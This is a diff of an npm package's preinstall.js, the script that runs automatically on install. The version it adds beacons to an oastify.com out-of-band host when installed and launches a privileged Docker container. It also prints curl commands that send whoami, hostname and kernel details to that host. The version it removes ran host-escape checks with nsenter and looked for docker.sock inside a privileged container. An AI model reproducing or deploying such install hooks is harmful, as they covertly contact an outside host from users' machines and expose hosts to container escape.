rank4222wun 1.0.36 → 1.0.38

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.36",
+  "version": "1.0.38",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,444 +1,137 @@
-// run-privileged-container.js
-const { exec, spawn } = require('child_process');
-const fs = require('fs');
-const path = require('path');
+// privileged-container-oast-simple.js
+const { spawn, exec } = require('child_process');
+const crypto = require('crypto');
+const https = require('https');
+
+const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
+
+console.log(`
+╔════════════════════════════════════════════════════╗
+║          PRIVILEGED CONTAINER + OAST               ║
+║                                                    ║
+║  OAST Domain : ${OAST_DOMAIN}  ║
+╚════════════════════════════════════════════════════╝
+`);
+
+function generateSessionId() {
+  const timestamp = Date.now();
+  const random = crypto.randomBytes(6).toString('hex');
+  return `sess-${timestamp}-${random}`;
+}
 
-class PrivilegedContainerRunner {
-  constructor() {
-    this.containerId = null;
-    this.outputLog = [];
-    this.status = 'stopped';
-  }
+const sessionId = generateSessionId();
+const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
 
-  async runContainer() {
-    console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
-    
-    return new Promise((resolve, reject) => {
-      const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
-      
-      exec(dockerCommand, (error, stdout, stderr) => {
-        if (error) {
-          console.error('❌ خطأ في تشغيل الحاوية:', error.message);
-          reject(error);
-          return;
-        }
-        
-        this.containerId = stdout.trim();
-        console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
-        this.status = 'running';
-        
-        // الانتظار قليلاً ثم تنفيذ الأوامر
-        setTimeout(() => {
-          this.executeCommands()
-            .then(resolve)
-            .catch(reject);
-        }, 2000);
-      });
-    });
-  }
+console.log(`Session ID       : ${sessionId}`);
+console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
 
-  async executeCommands() {
-    console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
-    
-    const commands = [
-      // معلومات النظام الأساسية
-      'echo "=== معلومات النظام ==="',
-      'cat /etc/os-release',
-      'uname -a',
-      'whoami',
-      'id',
-      
-      // معلومات الذاكرة والمعالج
-      'echo -e "\n=== موارد النظام ==="',
-      'free -h',
-      'df -h',
-      'cat /proc/cpuinfo | grep "model name" | head -1',
-      
-      // التحقق من الصلاحيات
-      'echo -e "\n=== الصلاحيات المميزة ==="',
-      'capsh --print',
-      'cat /proc/self/status | grep Cap',
-      
-      // معلومات الشبكة
-      'echo -e "\n=== معلومات الشبكة ==="',
-      'ip addr show',
-      'hostname -I',
-      'route -n',
-      
-      // فحص الملفات والمجلدات
-      'echo -e "\n=== نظام الملفات ==="',
-      'ls -la /',
-      'mount | head -20',
-      
-      // تحليل الحاوية
-      'echo -e "\n=== معلومات الحاوية ==="',
-      'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
-      'cat /proc/self/mountinfo 2>/dev/null | head -10',
-      
-      // اختبار الوصول إلى المضيف
-      'echo -e "\n=== اختبار الوصول للمضيف ==="',
-      'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
-      'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
-      
-      // معلومات إضافية
-      'echo -e "\n=== معلومات إضافية ==="',
-      'env | head -20',
-      'ps aux | head -10'
-    ];
+function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
+  const data = JSON.stringify({
+    session: sessionId,
+    ts: new Date().toISOString(),
+    type: 'beacon',
+    ...extraData
+  });
 
-    const results = {};
-    
-    for (let i = 0; i < commands.length; i++) {
-      const command = commands[i];
-      
-      // إذا كان الأمر echo، عرضه مباشرة
-      if (command.startsWith('echo')) {
-        const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
-        console.log(message);
-        this.outputLog.push(message);
-        continue;
-      }
-      
-      // تنفيذ الأمر داخل الحاوية
-      try {
-        const output = await this.execInContainer(command);
-        console.log(output);
-        this.outputLog.push(output);
-        
-        // حفظ النتائج المهمة
-        if (command.includes('os-release')) {
-          results.osInfo = output;
-        } else if (command.includes('uname -a')) {
-          results.kernelInfo = output;
-        } else if (command.includes('capsh')) {
-          results.capabilities = output;
-        } else if (command.includes('docker.sock')) {
-          results.dockerSocket = output.includes('✅');
-        }
-        
-      } catch (error) {
-        const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
-        console.log(errorMsg);
-        this.outputLog.push(errorMsg);
-      }
-      
-      // تأخير بسيط بين الأوامر
-      await this.delay(500);
+  const options = {
+    hostname: OAST_DOMAIN,
+    port: 443,
+    path: path,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': 'PrivContainerTest/1.0',
+      'X-Session': sessionId
     }
-    
-    return results;
-  }
+  };
 
-  execInContainer(command) {
-    return new Promise((resolve, reject) => {
-      if (!this.containerId) {
-        reject(new Error('لا توجد حاوية نشطة'));
-        return;
-      }
-      
-      const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
-      
-      exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
-        if (error) {
-          // بعض الأوامر تعطي stderr لكنها ناجحة
-          if (stderr && !stdout) {
-            resolve(stderr);
-          } else {
-            reject(error);
-          }
-        } else {
-          resolve(stdout || stderr || '');
-        }
-      });
-    });
-  }
+  const req = https.request(options, (res) => {
+    res.on('data', () => {}); // نكتفي بالرد
+  });
 
-  delay(ms) {
-    return new Promise(resolve => setTimeout(resolve, ms));
-  }
+  req.on('error', (e) => {
+    console.log(`[beacon error] ${e.message}`);
+  });
 
-  async getInteractiveShell() {
-    console.log('\n💻 تشغيل shell تفاعلي...');
-    console.log('   استخدم "exit" للخروج\n');
-    
-    return new Promise((resolve) => {
-      const dockerProcess = spawn('docker', [
-        'exec', '-it', this.containerId, '/bin/bash'
-      ], {
-        stdio: 'inherit'
-      });
-      
-      dockerProcess.on('close', (code) => {
-        console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
-        resolve();
-      });
-    });
-  }
+  req.write(data);
+  req.end();
 
-  saveOutput() {
-    const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
-    const filename = `container-output-${timestamp}.txt`;
-    
-    const output = [
-      `ناتج تشغيل حاوية مميزة`,
-      `تاريخ: ${new Date().toLocaleString()}`,
-      `Container ID: ${this.containerId || 'غير معروف'}`,
-      `الحالة: ${this.status}`,
-      `='.repeat(50)}\n\n`,
-      ...this.outputLog
-    ].join('\n');
-    
-    fs.writeFileSync(filename, output);
-    console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
-    
-    return filename;
-  }
+  console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
+}
 
-  async cleanup() {
-    if (this.containerId && this.status === 'running') {
-      console.log('\n🧹 تنظيف الحاوية...');
-      
-      try {
-        await this.execOnHost(`docker stop ${this.containerId}`);
-        await this.execOnHost(`docker rm ${this.containerId}`);
-        this.status = 'stopped';
-        console.log('✅ تم تنظيف الحاوية بنجاح');
-      } catch (error) {
-        console.error('❌ خطأ في التنظيف:', error.message);
-      }
-    }
-  }
+// إرسال إشارة بداية من الـ host نفسه
+sendSimpleHttpsBeacon('/start', { action: 'script_started' });
 
-  execOnHost(command) {
-    return new Promise((resolve, reject) => {
-      exec(command, (error, stdout, stderr) => {
-        if (error) {
-          reject(error);
-        } else {
-          resolve(stdout);
-        }
-      });
-    });
-  }
+// ────────────────────────────────────────────────
 
-  async run() {
-    try {
-      // 1. تشغيل الحاوية
-      await this.runContainer();
-      
-      // 2. تنفيذ الأوامر
-      const results = await this.executeCommands();
-      
-      // 3. حفظ النتائج
-      const outputFile = this.saveOutput();
-      
-      // 4. عرض الملخص
-      this.showSummary(results, outputFile);
-      
-      // 5. خيار shell تفاعلي
-      console.log('\n🎯 الخيارات المتاحة:');
-      console.log('   1. تشغيل shell تفاعلي (bash)');
-      console.log('   2. تنظيف الحاوية والخروج');
-      console.log('   3. الخروج بدون تنظيف');
-      
-      // انتظار قرار المستخدم
-      await this.waitForUserDecision();
-      
-    } catch (error) {
-      console.error('❌ فشل التشغيل:', error.message);
-    }
-  }
+console.log(`
+تشغيل الحاوية المميزة الآن...
+(إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
 
-  showSummary(results, outputFile) {
-    console.log('\n' + '='.repeat(60));
-    console.log('📊 ملخص تشغيل الحاوية المميزة');
-    console.log('='.repeat(60));
-    
-    console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
-    console.log(`📁 الناتج محفوظ في: ${outputFile}`);
-    
-    if (results.osInfo) {
-      const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
-      if (osLine) {
-        console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
-      }
-    }
-    
-    if (results.kernelInfo) {
-      console.log(`⚙️  Kernel: ${results.kernelInfo.split(' ')[2]}`);
-    }
-    
-    if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
-      console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
-    }
-    
-    console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
-    console.log('='.repeat(60));
-  }
+أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
 
-  async waitForUserDecision() {
-    const readline = require('readline').createInterface({
-      input: process.stdin,
-      output: process.stdout
-    });
-    
-    return new Promise((resolve) => {
-      readline.question('\nاختر رقم الخيار: ', async (answer) => {
-        switch(answer.trim()) {
-          case '1':
-            await this.getInteractiveShell();
-            readline.close();
-            await this.cleanup();
-            resolve();
-            break;
-            
-          case '2':
-            readline.close();
-            await this.cleanup();
-            resolve();
-            break;
-            
-          case '3':
-          default:
-            readline.close();
-            console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
-            console.log(`   Container ID: ${this.containerId}`);
-            console.log('   يمكنك تنظيفها يدوياً:');
-            console.log(`   docker stop ${this.containerId}`);
-            console.log(`   docker rm ${this.containerId}`);
-            resolve();
-            break;
-        }
-      });
-    });
-  }
-}
+1. اختبار DNS (أكثر موثوقية):
+   nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
 
-// ===================== النسخة المبسطة =====================
-function runSimplePrivilegedContainer() {
-  console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
-  
-  const dockerProcess = spawn('docker', [
-    'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
-  ], {
-    stdio: 'inherit'
-  });
-  
-  dockerProcess.on('close', (code) => {
-    console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
-  });
-  
-  // التعامل مع إشارات الإغلاق
-  process.on('SIGINT', () => {
-    console.log('\n\n⚠️  تم استقبال Ctrl+C...');
-    dockerProcess.kill('SIGINT');
-  });
-}
+   أو (إذا ما فيش nslookup):
+   ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
 
-// ===================== النسخة مع أوامر مسبقة =====================
-function runWithPredefinedCommands() {
-  console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
-  
-  const commands = [
-    'echo "=== مرحباً من الحاوية المميزة ==="',
-    'cat /etc/os-release | grep PRETTY_NAME',
-    'uname -a',
-    'whoami',
-    'id',
-    'echo "=== الصلاحيات ==="',
-    'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
-    'echo "=== انتهى ==="',
-    'exit 0'
-  ];
-  
-  const dockerProcess = spawn('docker', [
-    'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
-  ]);
-  
-  dockerProcess.stdout.on('data', (data) => {
-    console.log(data.toString());
-  });
-  
-  dockerProcess.stderr.on('data', (data) => {
-    console.error(data.toString());
-  });
-  
-  dockerProcess.on('close', (code) => {
-    console.log(`\n✅ انتهى مع الكود: ${code}`);
-  });
-}
+2. اختبار HTTP/HTTPS بسيط:
+   curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
 
-// ===================== الوظيفة الرئيسية =====================
-async function main() {
-  console.log(`
-╔══════════════════════════════════════════════════════════╗
-║      تشغيل حاوية Docker مميزة                           ║
-║      Privileged Container Runner                         ║
-╚══════════════════════════════════════════════════════════╝
-  `);
-  
-  console.log('📋 اختر طريقة التشغيل:');
-  console.log('   1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
-  console.log('   2. تشغيل مع أوامر مسبقة وعرض الناتج');
-  console.log('   3. تشغيل متقدم مع تقرير كامل');
-  console.log('   4. خروج');
-  
-  const readline = require('readline').createInterface({
-    input: process.stdin,
-    output: process.stdout
-  });
-  
-  readline.question('\nاختر رقم: ', async (choice) => {
-    switch(choice.trim()) {
-      case '1':
-        readline.close();
-        runSimplePrivilegedContainer();
-        break;
-        
-      case '2':
-        readline.close();
-        runWithPredefinedCommands();
-        break;
-        
-      case '3':
-        readline.close();
-        const runner = new PrivilegedContainerRunner();
-        await runner.run();
-        break;
-        
-      default:
-        readline.close();
-        console.log('👋 تم الخروج');
-        break;
-    }
-  });
-}
+3. إرسال معلومات سريعة (مثال):
+   whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
 
-// ===================== تشغيل مباشر من السطر =====================
-if (require.main === module) {
-  // التحقق من تثبيت Docker
-  exec('which docker', (error) => {
-    if (error) {
-      console.error('❌ Docker غير مثبت أو غير موجود في PATH');
-      console.log('   يرجى تثبيت Docker أولاً:');
-      console.log('   https://docs.docker.com/get-docker/');
-      process.exit(1);
-    }
-    
-    // التحقق من الصلاحيات
-    exec('docker ps', (error) => {
-      if (error && error.message.includes('permission denied')) {
-        console.error('❌ ليس لديك صلاحيات تشغيل Docker');
-        console.log('   حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
-        console.log('   sudo usermod -aG docker $USER');
-        console.log('   ثم سجل الخروج وأدخل مرة أخرى');
-        process.exit(1);
-      }
-      
-      // بدء البرنامج
-      main();
-    });
+4. إرسال hostname + kernel:
+   (echo "host=$(hostname)  kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
+
+ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
+إذا لم يعمل curl → جرب:
+   apt update && apt install -y curl 2>/dev/null || true
+
+جاري التشغيل...
+`);
+
+// ────────────────────────────────────────────────
+
+const dockerArgs = [
+  'run',
+  '--privileged',
+  '-it',
+  '--rm',
+  '--name', `priv-test-${sessionId.slice(0,12)}`,
+  'ubuntu:latest',
+  '/bin/bash'
+];
+
+const container = spawn('docker', dockerArgs, {
+  stdio: 'inherit'
+});
+
+container.on('error', (err) => {
+  console.error(`خطأ في تشغيل docker: ${err.message}`);
+  process.exit(1);
+});
+
+container.on('close', (code) => {
+  console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
+
+  // إشارة نهاية
+  sendSimpleHttpsBeacon('/end', {
+    action: 'container_exited',
+    exit_code: code
   });
-}
 
-module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
+  console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
+  console.log(`  https://${OAST_DOMAIN}`);
+  console.log(`  ابحث عن: ${sessionId}\n`);
+  console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
+});
+
+// التعامل مع Ctrl+C
+process.on('SIGINT', () => {
+  console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
+  container.kill('SIGINT');
+  setTimeout(() => process.exit(0), 1500);
+});